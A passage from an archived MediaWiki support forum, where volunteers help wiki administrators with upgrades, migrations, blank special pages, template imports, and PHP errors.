:Following the links there, I ended up on https://gerrit.wikimedia.org/r/#/c/227240/ which indicates the fix should be included in the latest 1.25.2. If it isn't, then you'll need to re-open the bug. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 18:26, 3 September 2015 (UTC)
:Nope. Just updated from MW 1.25.1 to 1.25.2 today and checked again, but no, still need to exclude SF to run mw-config. [[User:Waanders|Waanders]] ([[User talk:Waanders|talk]]) 18:57, 3 September 2015 (UTC)
:Thanks. I've reopened the bug. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 19:01, 3 September 2015 (UTC)
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== Some Special Pages lost after server migration ==
{{Flow summary|See [[blank page]].}}

So I very recently migrated a decent sized wiki (around 20k edits) from one server to another and something weird must have happened during the db restore that I lost a few special pages (only special pages as far as I can tell).

The problem is that a lot hapened in between and I already had a lot of edits after the migration which I wouldn't want to lose if the db was to be restored again,

'''The pages are:'''

Special:RecentChangesLinked

Special:NewFiles

Special:ListFiles

Special:Redirect

These appear completely blank (not even side menus) like there was nothing on the server. I had nginx setup on the old server because it was a temporary migration to deal with a huge wave of traffic and when we moved back to the old server nginx was disabled, so I don't know if that had anything to do with it.

The wiki is still using media wiki 1.24, I wonder if upgrading to 1.25 would patch these pages and fix them? Or if my only option is to restore the db completely

Thanks in advance [[Special:Contributions/2001:8A0:6A43:7801:B05D:3C00:C9D1:70AD|2001:8A0:6A43:7801:B05D:3C00:C9D1:70AD]] ([[User talk:2001:8A0:6A43:7801:B05D:3C00:C9D1:70AD|talk]]) 16:54, 3 September 2015 (UTC)
:Hi ho!
:As to what you write, I do not see a database problem. If you do not have any other problems with the database, then the DB should be fine.
:The special pages in fact are programmed in PHP - they are not inside the database. A [[blank page]] (click me!) points to a PHP error. Activate error logging in PHP and check the error log to see, what is actually going wrong there.
:Taking the above into account, I guess that a MediaWiki upgrade should most likely ''not'' fix the blank pages. MediaWiki 1.24 will still be supported until November 2015. However, if you ask me, running the most current version is a good idea - if you want to upgrade, make sure that your PHP version is at least PHP 5.3.3 or newer. And make sure that you have a working backup of all your files and of the current database. [[Special:Contributions/88.130.69.182|88.130.69.182]] ([[User talk:88.130.69.182|talk]]) 02:15, 4 September 2015 (UTC)
:Those special pages aren't stored in database dumps. Your database is probably fine.
:The key sentence of your post is this one:<blockquote>''These appear completely blank (not even side menus)''</blockquote>This indicates that your server is running into errors. See [[Manual:Errors and symptoms|these trouble-shooting tips for a blank page]]. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 02:16, 4 September 2015 (UTC)
:(Im the OP) I was worried about the db being corrupted because after restoring the db the first time after the migration there were some content page missing, for example the main page was entirely missing (but the menus were there) and a lot of revisions had the error "2 past revisions appear to have not been found" or something around those lines, so I restored the db a second time and those first issues appeared to be solved but the blank pages didnt, so I was worried it could be the same problem. Glad you pointed out the blank page thing, I will try to look into that and report back if I run into any more problems. Thanks [[User:Kanecow|Kanecow]] ([[User talk:Kanecow|talk]]) 16:25, 6 September 2015 (UTC)
:Hi please try reinstalling mediawiki 1.24 or upgrade to mediawiki 1.25 to see if that fixes the problem. Just re copy mediawiki 1.24 files by re downloading and copying the files to your website to see if it fixes the problem. But please make a backup before you do that. [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 17:08, 6 September 2015 (UTC)

== Upgrading from 1.22.4 to 1.25 ==
{{Archive top|result=Probably the easiest way to do things if you only have FTP access is to
# [[Manual:Upgrading|extract the new tarball over the old installation]].
# [[Manual:Upgrading|run the web-based SQL update]].
That should be it.|status=resolved}}

I want to upgrade my MediaWiki installation from where it currently stands:
{| class="wikitable plainlinks" id="sv-software"
!Product
!Version
|-
|[https://www.mediawiki.org/ MediaWiki]
| dir="ltr" |1.22.4
|-
|[http://www.php.net/ PHP]
| dir="ltr" |5.3.29 (cgi-fcgi)
|-
|[http://mariadb.org/ MariaDB]
| dir="ltr" |10.0.21-MariaDB 
 
|}
To the latest version (1.25, I believe?).

Every time I visit the MediaWiki page for upgrading, I get a bit lost. I'm technically adept, but it seems the MediaWiki upgrade instructions are written for people comfortable with Linux server administration, which is not me.

I'm most comfortable with graphical FTP software, and simple instructions that don't cover every edge case.

What gives me most pause is the note that there are several schema changes from 1.24 to 1.25, and that the database will need to be updated or somesuch.

Can anyone confirm what steps I need to take, specifcally, to upgrade from my version to the latest? I'm a bit lost and I'm worried about doing damage to my MediaWiki installation that I won't know how to fix! [[Special:Contributions/77.101.154.218|77.101.154.218]] ([[User talk:77.101.154.218|talk]]) 17:41, 3 September 2015 (UTC)
:Hi!
:If you are not completely sure about what you are doing, you have to make sure that you have a backup: The files of your wiki and the database. I would say that ''I do know'' how to update MediaWiki and I am creating a backup before anyway.
:[[Upgrade]] is the page you should be following.
:For the upgrade, you ''can'' use FTP to upload the new files. However, compared to directly extracting a tarball on the server, that will takes ages. But it should work.
:For the database, you will have to run an update script. The recommended way of doing that is to run it from the shell. However, there also ''is'' a web-updater, which you can run with your webbrowser. Since it is called through the browser, it has a possibility to fail, mainly because of a timeout, which might be reached somewhen during the database update. We won't be able to tell you, if that happens in your case, the details on the how, why and when are on the upgrade page. If a timeout ''does'' happen, you will have to restore the database from the backup. Especially there is no guarantee that running the web-updater again will fix the DB at that point - it most likely will not. [[Special:Contributions/88.130.69.182|88.130.69.182]] ([[User talk:88.130.69.182|talk]]) 02:07, 4 September 2015 (UTC)
:I'm glad that you're upgrading.
:First, back every thing up. Get a SQL dump from phpMyAdmin and copy the files to a zip file or something.
:Probably the easiest way to do things if you only have FTP access is to
:# [[Manual:Upgrading|extract the new tarball over the old installation]].
:# [[Manual:Upgrading|run the web-based SQL update]].
:That should be it. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 02:09, 4 September 2015 (UTC)
:You've both been a great help! Once I realised it was as simple as two steps, I took the plunge, and am happy to say I'm running 1.25 happily.
:I dare say the Upgrade page could be a little more newbie-friendly, though! I'm not at all afraid to get stuck in, but it gives the impression that there are a million and one things to make sure of before one starts, when it turns out most of it can be ignored (At least in my case).
:Thanks for the help, both of you. [[Special:Contributions/77.101.154.218|77.101.154.218]] ([[User talk:77.101.154.218|talk]]) 17:49, 4 September 2015 (UTC)
:The upgrade page in fact is the central place for upgrading questions. It is true that a number of the section on it may just be irrelevant in many cases. Anyway, I guess there is nothing superfluous on it - there actually are cases, where more or less all of that, not at the same time, but on a case by case view, can be relevant. [[Special:Contributions/88.130.110.179|88.130.110.179]] ([[User talk:88.130.110.179|talk]]) 21:16, 4 September 2015 (UTC)
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== How to Bulk Export from Wiki or Move to a New One ==
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I like to either exporting everything out of wiki or duplicate my old wiki to my 2nd wiki without having to copy and paste everything. Is there a way of doing this?

Also, where is the site map? [[User:Newmediacc|Newmediacc]] ([[User talk:Newmediacc|talk]]) 21:17, 3 September 2015 (UTC)
:I can't help you with the site map except to point you to [[Extension:ManualSitemap|this extension]] or [[Manual:GenerateSitemap.php|this documentation]].
:However, if you want to move your wiki, you can use your Special:Export page and the target wiki's Special:Import page.
:Alternatively, you can produce an SQL Dump on your old server and import it to your new one. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 23:10, 3 September 2015 (UTC)
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== Cannot change my logo ==
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<nowiki>Hi, my installation at http://youthdebates.org/partners was working fine up until recently, when suddenly the Wikipedia logo appeared. I've double and triple checked, and all LocalSettings.php settings are as they should be. The logo file itself is still there. Cleared all browser caches and tried other devices. If I inspect element on the Wikipedia logo, it tells me it's my logo. </nowiki>

Any ideas? :( [[User:Allegrif1|Allegrif1]] ([[User talk:Allegrif1|talk]]) 22:46, 3 September 2015 (UTC)
:When I visit http://youthdebates.org/partners/index.php/Main_Page, I see the [http://youthdebates.org/partners/resources/assets/SquareCrown.png square crown logo]. Have you tried a different browser? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 23:03, 3 September 2015 (UTC)
:Hey, thanks for the reply. Unfortunately with all caches etc cleared I'm still seeing the wiki logo on Chrome and Microsoft's new Edge browser. Internet Explorer shows my logo, very odd. [[User:Allegrif1|Allegrif1]] ([[User talk:Allegrif1|talk]]) 11:52, 4 September 2015 (UTC)
:You should report this as a bug to Microsoft. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 14:00, 4 September 2015 (UTC)
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== Updating wiki farm installation ==

Hi,

How would I update my wiki farm with hundreds of wikis? The wikis are stored as sqlite files and the farm is set up in the format of example.com/project1, example.com/project2, etc. Thanks [[User:Farmer193|Farmer193]] ([[User talk:Farmer193|talk]]) 01:30, 4 September 2015 (UTC)
:You haven't given us much information about your farm. Do they all have their own LocalSettings.php file? If they share one configuration, how does MW know which datbase to use? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 02:02, 4 September 2015 (UTC)

== HMAC-TOTP 2FA available on mediawiki? ==
{{Archive top|result=See [[Extension:OATHAuth]] or, for a simpler TOTP implementation of OTP, see [[Extension:TwoFactorAuthentication]].|status=resolved}}

I heard from a community member that this is an option, but I don't see it in my local wiki(wikipeida). Does anybody know how to activate this feature? [[User_talk:Bluedeck|Bluedeck]] 02:57, 4 September 2015 (UTC)
:See [[Extension:OATHAuth]] or, for a simpler TOTP implementation of OTP, see [[Extension:TwoFactorAuthentication]]. [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 06:01, 4 September 2015 (UTC)
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== copyrigth to the artist ==
{{Archive top|result=This isn't the place to get support for a Wikipedia wiki. Here you can ask for general support for the MediaWiki software.|status=resolved}}

I would like to know, how were can I get copyrigth information to use a image from the wikepedia [[User:ALMAwike|ALMAwike]] ([[User talk:ALMAwike|talk]]) 03:02, 4 September 2015 (UTC)
:This isn't the place to get support for a Wikipedia wiki. Here you can ask for general support for the MediaWiki software. But in general you should see copyright information for an image in wikipedia if you open the file page of the image (just click on the image). [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 05:58, 4 September 2015 (UTC)
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== Translation Chinese between Traditional and Simplified ==

When Edit full page, title will show simplified 编辑, but section will show Traditional 編輯. [[User:Tunglinwu|Tunglinwu]] ([[User talk:Tunglinwu|talk]]) 06:24, 4 September 2015 (UTC)
:Which MediaWiki version do you use in your installation? [[User:Malyacko|Malyacko]] ([[User talk:Malyacko|talk]]) 08:15, 4 September 2015 (UTC)

== Adding javascript to header or footer ==

I added some javascript for some popups and tracking software to /MediaWiki:Common.js and its not working. What am I doing wrong or what is the best way to do this? [[Special:Contributions/191.101.244.70|191.101.244.70]] ([[User talk:191.101.244.70|talk]]) 23:32, 4 September 2015 (UTC)
:Can you point to what your wiki so we can have a look? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 00:26, 6 September 2015 (UTC)
:Sure its http://www.pornwikileaks.com/wiki and now have reverted back to a older version where I just add the code to a file inside the skins folder but would like to upgrade and get it to work with me version. [[Special:Contributions/37.46.117.49|37.46.117.49]] ([[User talk:37.46.117.49|talk]]) 06:36, 8 September 2015 (UTC)
:See the [[Manual:Hooks/BeforePageDisplay hook BeforePageDisplay]]. This allows you to add JavaScript to the page.
:You will also be able to add the JavaScript code to the page MediaWiki:Common.js; that should be working as well.
:Apart from that, MediaWiki 1.16 is an antique version, which has a ton of known security holes. Please [[upgrade]] to a supported version! [[Special:Contributions/88.130.90.149|88.130.90.149]] ([[User talk:88.130.90.149|talk]]) 15:08, 8 September 2015 (UTC)

== Installing infobox problem ==

Hello, I would like to get help to integrate the infobox template in my Wiki.

I am French, and knows very little English, and I do not understand how installed "Extension: Scribunto" and I do not have a page "Special: Import"

How to do ? [[User:Cooperiens|Cooperiens]] ([[User talk:Cooperiens|talk]]) 14:20, 5 September 2015 (UTC)
:If you don't have a Special:Import page, then are you sure you're running a MediaWiki wiki? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 00:25, 6 September 2015 (UTC)
:Yes am using WikiMedia 1.25.2,
:I am in local (localhost) and I'm using a SQLite database, is what it may come to that? [[User:Cooperiens|Cooperiens]] ([[User talk:Cooperiens|talk]]) 09:11, 6 September 2015 (UTC)
:But you're logged in as a sysop, or at least as a user with the <code>importupload</code> right? And please check, if you really try "Special: Import" or "Special:Import (without "). The first one has a white-space between the "Special:" and "Import" part, the second (correct one) not. [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 06:13, 7 September 2015 (UTC)
:It would show a permission error message rather than a missing page message if that was the case, and the space doesn't matter: [[Special: Import]] [[Special:Contributions/137.147.180.136|137.147.180.136]] ([[User talk:137.147.180.136|talk]]) 09:25, 7 September 2015 (UTC)
:https://www.mediawiki.org/wiki/Special:_Import
:The link was changed when I saved and you apparently cannot edit your own posts... [[Special:Contributions/137.147.180.136|137.147.180.136]] ([[User talk:137.147.180.136|talk]]) 09:27, 7 September 2015 (UTC)
:Hello, thank you for your help, it works great. (I am Cooperiens)
:But now I have a problem with the position of the infobox, it takes all the page.
:Screens:
:http://www.hostingpics.net/viewer.php?id=13253185fg.png
:And how do other templates, we also export / import? [[User:Sebunian|Sebunian]] ([[User talk:Sebunian|talk]]) 10:47, 7 September 2015 (UTC)
:The wiki you're importing the templates from, may have additional styles for templates in the page MediaWiki:Common.css (see [[Manual:Interface/Stylesheets]]) that you may need importing. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 09:37, 8 September 2015 (UTC)
:Hello, I have to export and import "MediaWiki:Gadget-site.css" or I have to created and placed in the folder of my Wiki? [[User:Cooperiens|Cooperiens]] ([[User talk:Cooperiens|talk]]) 10:24, 8 September 2015 (UTC)
:Thank you very much for your help.
:I have successfully installed the infobox.
:But latest questions, where do I put the images in .svg, for they appear on the Wiki?
:and for the others templates, I have to do as the infobox, export / import or I have installed other extensions ? [[User:Cooperiens|Cooperiens]] ([[User talk:Cooperiens|talk]]) 22:54, 8 September 2015 (UTC)
:You need to upload images to your wiki, or enable [[InstantCommons]]
:For other templates you need to import as well. Of course, if they make use of other extensions you'll need to install them, or remove the functionality that depends on that extension. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 09:32, 9 September 2015 (UTC)
:New problem when I want to import a picture in .svg, it said ""L'extension du fichier « .svg » ne correspond pas au type MIME détecté du fichier (image/png)."
:What's the problem ? [[User:Cooperiens|Cooperiens]] ([[User talk:Cooperiens|talk]]) 17:02, 9 September 2015 (UTC)
:You downloaded the PNG representation of the SVG image instead of the SVG itself. If you're getting the image from commons, like [[commons:File:Example.svg|File:Example.svg]], you should click on the image, or the "original file" link, to get the SVG file. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 19:22, 9 September 2015 (UTC)
:New problem when I finished uploading the picture I have this written "Erreur lors de la création de la miniature"
:What for ? [[User:Cooperiens|Cooperiens]] ([[User talk:Cooperiens|talk]]) 22:51, 9 September 2015 (UTC)

== Is there a number I may call to get a tech to log onto my computer and see what my problem is ? I cannot upload to GED MATCH.COM ==
{{Archive top|result=This question doesn't seem to be related to MediaWiki|status=resolved}}

Is there a number I may call to get a tech to log onto my computer and help me upload to GED MATCH.com [[Special:Contributions/2602:306:370E:8F10:C855:643:507A:221F|2602:306:370E:8F10:C855:643:507A:221F]] ([[User talk:2602:306:370E:8F10:C855:643:507A:221F|talk]]) 14:50, 5 September 2015 (UTC)
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== can shared hosting support mediawiki? ==
{{Archive top|result=If this hosting fullfils the requirements from [[Manual:Installation requirements]], then yes.|status=resolved}}

I'm in a shared hosting plan but want to create a small wiki site. is this possible? [[User:Enhu~mediawikiwiki|Enhu~mediawikiwiki]] ([[User talk:Enhu~mediawikiwiki|talk]]) 22:35, 5 September 2015 (UTC)
:If this hosting fullfils the requirements from [[Manual:Installation requirements]], then yes. [[Special:Contributions/88.130.75.1|88.130.75.1]] ([[User talk:88.130.75.1|talk]]) 22:40, 5 September 2015 (UTC)
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== nickname ==
{{Archive top|result=This is not the right place to ask. Please see [//meta.wikimedia.org/wiki/Global rename policy the rename policy].|status=resolved}}

My nickname - Участник:Beath111

I want to change - Pack

Thank's [[User:Beath111|Beath111]] ([[User talk:Beath111|talk]]) 00:10, 6 September 2015 (UTC)
:This is not the right place to ask. Please see [//meta.wikimedia.org/wiki/Global rename policy the rename policy]. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 00:22, 6 September 2015 (UTC)
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== Help naming extension ==

I have created an extension based on [[Extension:DeletePagePermanently|https://www.mediawiki.org/wiki/Extension:DeletePagePermanently]] and doint know what to call the extension. What the extension is it deletes pages permanently but is based on [[Extension:DeletePagePermanently|DeletePagePermanently]] extension it has updated code and fixes for it work with mw 1.26 and maybe 1.25. I have tested the code I did with mw 1.26. [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 17:05, 6 September 2015 (UTC)
:Why not reuse the existing name, specially if it's based on it? [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 19:31, 6 September 2015 (UTC)
:Be because it would be confusing for users. [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 20:29, 6 September 2015 (UTC)
:Why would it be confusing for users? [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 18:20, 7 September 2015 (UTC)
:Per feedback here [[Git/New repositories/Requests|https://www.mediawiki.org/wiki/Git/New_repositories/Requests]] please go to bottom. [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 18:25, 7 September 2015 (UTC)
:I have now thought of a new name but feedback on a different will be good. [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 18:28, 7 September 2015 (UTC)

== max-age=0? ==

Why does Output.php set max-age to 0? Why not something like 10 seconds? [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 21:19, 6 September 2015 (UTC)
:2 days using this I see no problems except for editing.
:Any dev with an opinion? [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 19:26, 8 September 2015 (UTC)

== Replacement for $wgUser? ==

Hi, what should be used in lieu of $wgUser? [[Manual:User.php]] says it's deprecated and [[Manual:$wgUser]] says it shouldn't be used in new code. I'm trying to disable access to certain API modules based on a person's user groups as shown on [[API:Restricting API usage]]:
<pre>if ( !in_array( 'sysop', $wgUser->getGroups() ) ) {
$wgAPIModules['edit'] = 'ApiDisabled';
}
</pre>

How should I do it now? Thanks [[User:Sudalopa|Sudalopa]] ([[User talk:Sudalopa|talk]]) 01:21, 7 September 2015 (UTC)
:I don't think that code has ever worked to be honest. Instead, try [[Manual:User rights|revoking]] the <code>writeapi</code> right from non-sysops. [[User:Legoktm|Legoktm]] ([[User talk:Legoktm|talk]]) 01:43, 7 September 2015 (UTC)
:Note that revoking <code>writeapi</code> will disable the ability of users to add pages to their watchlist, from the page itself. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 09:19, 7 September 2015 (UTC)

== Problem with thumbnails after upgrade ==

Hello,

For one of my customer, I have made an upgrade of his mediawiki from 1.15 to last version. I have copy / paste the images directory but when I visit some pages, in place of thumbnails, I have "Erreur lors de la création de la miniature : Error code: -1"

If I go to the same page connected as admin, that works! I see thumbnails.

Other problem is that when I try to click on an image, I can't see file data and history but I have "

= Erreur de la base de données =
<div id="bodyContent" class="mw-body-content"><div id="contentSub"></div><div id="jump-to-nav" class="mw-jump"></div><div>
Une erreur de requête de base de données s'est produite. Cela peut provenir d'un bogue dans le logiciel.
</div></div>Thx for your help,

Olivier [[Special:Contributions/109.133.112.200|109.133.112.200]] ([[User talk:109.133.112.200|talk]]) 07:59, 7 September 2015 (UTC)
:did you run the update script? See [[manual:Upgrading]]. Running it should solve database errors. If not, see [[Manual:How to debug]] for settings you can change to display more detailed error messages.
:If you moved your host, filesystem permissions may be a problem, if the images have a different owner/group on the new server. You may need to fix file permissions recursively on the images directory, so the owner is the webserver user.
:You can also set a debug log to see what's happening, and maybe look for any error condition there, if paths on the filesystem are correct, etc. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 09:28, 7 September 2015 (UTC)

== Edit page ==
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Hi !

I want to ask how to gain access to the text which was put above "save page" "show preview" "show changes" buttons in edit form ? I have wrong url there on my own mediawiki site and want to fix it. Here's example with correct url:

https://www.mediawiki.org/w/index.php?title=Help:Recent_changes&action=edit

thanks [[Special:Contributions/83.18.8.90|83.18.8.90]] ([[User talk:83.18.8.90|talk]]) 09:48, 7 September 2015 (UTC)
:You mean the copyright warning? It is in MediaWiki:Wikimedia-copyrightwarning [[User:Clump|Clump]] ([[User talk:Clump|talk]]) 21:10, 7 September 2015 (UTC)
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== Changing user name ==
{{Archive top|result=See [[Extension:UserMerge]] or [[Extension:Renameuser]]|status=resolved}}

How do i change my user name? [[User:Ginieaton|Ginieaton]] ([[User talk:Ginieaton|talk]]) 13:37, 7 September 2015 (UTC)
:if you mean you want to change to change your username on your own wiki please use [[Extension:UserMerge|https://www.mediawiki.org/wiki/Extension:UserMerge]]<nowiki> or https://www.mediawiki.org/wiki/Extension:Renameuser</nowiki> [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 14:56, 7 September 2015 (UTC)
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== task T69877 - update.php script error ==
{{Archive top|result=LocalSettings.php not looking in right directories.|status=resolved}}

I have just set up a new wiki and wanted to install the Translate extension. I have set it up using XAMPP and saw the problem with using the web updater. Tried it, failed. Used the update.php script as suggested and I am getting this error

'''Notice''': Undefined variable: EXT in '''C:\xampp\htdocs\mediawiki\mediawiki-1.25.2\mediawiki-1.25.2\LocalSettings.php''' on line '''163'''

'''Warning''': require_once(/Babel/Babel.php): failed to open stream: No such file or directory in '''C:\xampp\htdocs\mediawiki\mediawiki-1.25.2\mediawiki-1.25.2\LocalSettings.php''' on line '''163'''

'''Fatal error''': require_once(): Failed opening required '/Babel/Babel.php' (include_path='.;C:\xampp\php\PEAR') in '''C:\xampp\htdocs\mediawiki\mediawiki-1.25.2\mediawiki-1.25.2\LocalSettings.php''' on line '''163'''

Any help would be appreciated :D [[User:Leepbn|Leepbn]] ([[User talk:Leepbn|talk]]) 14:29, 7 September 2015 (UTC)
:Please replace '''$EXT/ with $IP'''/extensions/ and currently the web updater is not supported for that extension. [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 14:54, 7 September 2015 (UTC)
:Hi Paladox2017
:I have replaced $EXT/ with $IP/ and this hasn't seemed to have helped. I get
:'''Warning''': require_once(C:\xampp\htdocs\mediawiki\mediawiki-1.25.2\mediawiki-1.25.2/Babel/Babel.php): failed to open stream: No such file or directory in'''C:\xampp\htdocs\mediawiki\mediawiki-1.25.2\mediawiki-1.25.2\LocalSettings.php''' on line '''163'''
:'''Fatal error''': require_once(): Failed opening required 'C:\xampp\htdocs\mediawiki\mediawiki-1.25.2\mediawiki-1.25.2/Babel/Babel.php' (include_path='.;C:\xampp\php\PEAR') in'''C:\xampp\htdocs\mediawiki\mediawiki-1.25.2\mediawiki-1.25.2\LocalSettings.php''' on line '''163'''
:I am not using web updater I am using Shell and update.php [[User:Leepbn|Leepbn]] ([[User talk:Leepbn|talk]]) 15:05, 7 September 2015 (UTC)
:It shows here mediawiki-1.25.2/Babel/Babel.php that isent a valid path there needs to be extensions so the path should look like mediawiki-1.25.2/extensions/Babel/Babel.php [[User:Paladox|Paladox]] ([[User talk:Paladox|talk]]) 15:07, 7 September 2015 (UTC)
:As soon as you said it I saw it! Thank you for your help :D [[User:Leepbn|Leepbn]] ([[User talk:Leepbn|talk]]) 15:10, 7 September 2015 (UTC)
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== In the Huntsville, Decatur, Albertville Combined Statistical Area, why isn't Marshall County, where Albertville is (one of the core cities) given a color? ==
{{Archive top|result=I think you are speaking about [https://en.wikipedia.org/wiki/Huntsville-Decatur-Albertville,_AL_Combined_Statistical_Area this article]. In that case, the right place to ask would be [https://en.wikipedia.org/wiki/Talk:Huntsville-Decatur-Albertville,_AL_Combined_Statistical_Area this discussion page].|status=resolved}}

Why not color Marshall County green since it has so much green beauty anyway in the form of mountains, trees, grass, lawns, and Lake Guntersville to top it off? If it isn't given a color, don't you think that this would be quite confusing for someone who doesn't know the state very well? I know it would be for me, if I hadn't known where Marshall County is in the first place. Arab in Marshall County is where I live right now. [[User:Bmgbamano1|Bmgbamano1]] ([[User talk:Bmgbamano1|talk]]) 21:42, 7 September 2015 (UTC)
:If this is not where I should ask this question, please tell me how to write it on the Wikipedia page where this is because I have tried to figure it out on my own, but I cannot. [[User:Bmgbamano1|Bmgbamano1]] ([[User talk:Bmgbamano1|talk]]) 21:53, 7 September 2015 (UTC)
:Hi!
:I think you are speaking about [https://en.wikipedia.org/wiki/Huntsville-Decatur-Albertville,_AL_Combined_Statistical_Area this article]. In that case, the right place to ask would be [https://en.wikipedia.org/wiki/Talk:Huntsville-Decatur-Albertville,_AL_Combined_Statistical_Area this discussion page].
:Note that this page already has a section on the colorization of the map (see the section titled "Graphic"), but it seems like this page is not used very actively.
:Another place might be to ask [https://en.wikipedia.org/wiki/User:Nyttend User:Nyttend], who has uploaded the map. [[Special:Contributions/88.130.90.149|88.130.90.149]] ([[User talk:88.130.90.149|talk]]) 22:47, 7 September 2015 (UTC)
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== Images not Load ==

I created a mediawiki site from years ago, actually i´m attempt to make it work again, i have the database and the site backup.

I regenerated the LocalSettings.php and it works, but i have a little problem the images doesn't work, the error :

'''<nowiki>GET http://localhost/Wiki/images/b/be/NuevoRecursoGlassfish.png 404 (Not Found)</nowiki>'''

'''<nowiki>GET http://localhost/Wiki/images/2/22/Jdbc_step1.png 404 (Not Found)</nowiki>'''

In all the images.

For test i'm working in localhost and all the images are in 'C:\xampp\htdocs\Wiki\images',

how i can modify the source path directory, or how i can make it work.??? [[User:Ospina9|Ospina9]] ([[User talk:Ospina9|talk]]) 16:37, 8 September 2015 (UTC)

== Special pages not working after migration to another server ==

Hi.

After migration to another server (from Debian 7 with PHP 5.4, Apache 2.2 and MySQL 5.5 to Ubuntu Server 14.04 LTS with the latest PHP 5.6.13, MariaDB 10.0.0.21 and Apache 2.4.16) I am getting error when accessing Special pages.

'''Warning''': require(/var/www/html/wiki/includes/specials/SpecialAllPages.php): failed to open stream: No such file or directory in '''/var/www/html/wiki/includes/AutoLoader.php''' on line '''90'''

'''Fatal error''': require(): Failed opening required '/var/www/html/wiki/includes/specials/SpecialAllPages.php' (include_path='/var/www/html/wiki:/var/www/html/wiki/includes:/var/www/html/wiki/languages:.:/usr/share/php:/usr/share/pear') in '''/var/www/html/wiki/includes/AutoLoader.php''' on line '''90'''

Before migration was everything OK. What is wrong? What should I do or at least try?

Using MediaWiki 1.25.2

URL: [https://wiki.inf.upol.cz/index.php/Hlavn%C3%AD_strana https://wiki.inf.upol.cz/]

Special pages with error: https://wiki.inf.upol.cz/index.php/Speci%C3%A1ln%C3%AD:Speci%C3%A1ln%C3%AD_str%C3%A1nky [[User:Bari007|Bari007]] ([[User talk:Bari007|talk]]) 19:08, 8 September 2015 (UTC)
:Hi!
:The path name /var/www/html/wiki/ obviously is correct; according to the error message, this path is where your wiki is installed.
:Please check, if the file /var/www/html/wiki/includes/specials/SpecialAllPages.php exists. Is it missing?
:If it is there, then most likely the permissions of that file are incorrect. The webserver user must be able to at least read that file. [[Special:Contributions/88.130.122.12|88.130.122.12]] ([[User talk:88.130.122.12|talk]]) 21:27, 8 September 2015 (UTC)
:Hi.
:Thanks for your prompt reply.
:The file is there, but has a small "p":
:root@lws:~# vim /var/www/html/wiki/includes/specials/SpecialAll
:SpecialAllMessages.php SpecialAllpages.php
:So I changed "p" to capital "P" and now it works :-)
:Thank you! [[User:Bari007|Bari007]] ([[User talk:Bari007|talk]]) 06:55, 9 September 2015 (UTC)
:That's nice to hear!
:My guess is that case-insensitively overwriting files with the same name and the case-sensitivity of the new filesystem caused this.
:I think you should be able to avoid this kind of problem, if in the future you upgrade MediaWiki by putting the new MediaWiki files into a new folder (as opposed to copying them over the old files). [[Special:Contributions/88.130.122.12|88.130.122.12]] ([[User talk:88.130.122.12|talk]]) 10:15, 9 September 2015 (UTC)

== Automatically purging certain pages ==

Hi. I am an administrator on Ladino Wikipedia (lad.wikipedia.org)
[[//lad.wikipedia.org/wiki/]]
[[//lad.wikipedia.org/wiki/]]
. We have five (5) versions of our home page. Each of them includes the current date (conventional and Jewish calendars). We do not regularly update the content of our home pages, so on a regular basis the only item on them that would change every day is the date, which is changed through the #date parser function, sometimes in combination with the #switch parser function. I've been told that people do not see the dates updating automatically. Is there some way to make sure this happens? Thanks. [[User:StevenJ81|StevenJ81]] ([[User talk:StevenJ81|talk]]) 19:25, 8 September 2015 (UTC)

== Another massive error... ==

[https://www.mediawiki.org/ MediaWiki] 1.23.3

[http://www.php.net/ PHP] 5.3.24 (cgi-fcgi)

[http://www.mysql.com/ MySQL] 5.0.96-log

wiki.voteforthegirls.us

After editing a page or even attempting to delete an article, I keep running into the fatal error:

'''Warning''': Class 'Diff\Differ\CallbackListDiffer' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''20'''

'''Warning''': Class 'Diff\Differ\Differ' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''21'''

'''Warning''': Class 'Diff\Differ\ListDiffer' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''22'''

